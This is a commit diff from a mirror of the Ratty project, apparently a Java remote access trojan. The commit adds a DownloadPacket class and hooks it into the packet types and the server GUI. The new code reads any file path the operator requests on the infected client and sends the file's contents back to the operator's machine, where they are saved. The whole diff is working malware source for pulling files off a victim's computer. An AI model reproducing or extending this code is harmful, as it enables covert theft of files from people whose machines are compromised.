mirror of https://github.com/LucaBongiorni/Ratty
4 changed files with 85 additions and 1 deletions
-
75Ratty/src/de/sogomn/rat/packet/DownloadPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
1Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
7Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@ -0,0 +1,75 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.File; |
|||
|
|||
import de.sogomn.engine.util.FileUtils; |
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class DownloadPacket extends AbstractPingPongPacket { |
|||
|
|||
private String path, fileName; |
|||
private byte[] data; |
|||
|
|||
public DownloadPacket(final String path) { |
|||
this.path = path; |
|||
|
|||
type = REQUEST; |
|||
} |
|||
|
|||
public DownloadPacket() { |
|||
this(""); |
|||
|
|||
type = DATA; |
|||
} |
|||
|
|||
@Override |
|||
protected void sendRequest(final ActiveClient client) { |
|||
client.writeUTF(path); |
|||
} |
|||
|
|||
@Override |
|||
protected void sendData(final ActiveClient client) { |
|||
client.writeInt(data.length); |
|||
client.writeUTF(fileName); |
|||
client.write(data); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveRequest(final ActiveClient client) { |
|||
path = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveData(final ActiveClient client) { |
|||
final int length = client.readInt(); |
|||
|
|||
data = new byte[length]; |
|||
fileName = client.readUTF(); |
|||
|
|||
client.read(data); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeRequest(final ActiveClient client) { |
|||
final File file = new File(path); |
|||
|
|||
if (file.exists() && !file.isDirectory()) { |
|||
fileName = file.getName(); |
|||
data = FileUtils.readExternalData(path); |
|||
type = DATA; |
|||
|
|||
client.addPacket(this); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
protected void executeData(final ActiveClient client) { |
|||
FileUtils.createFile(fileName); |
|||
FileUtils.writeData(fileName, data); |
|||
} |
|||
|
|||
public String getFileName() { |
|||
return fileName; |
|||
} |
|||
|
|||
} |
Reference in new issue
xxxxxxxxxx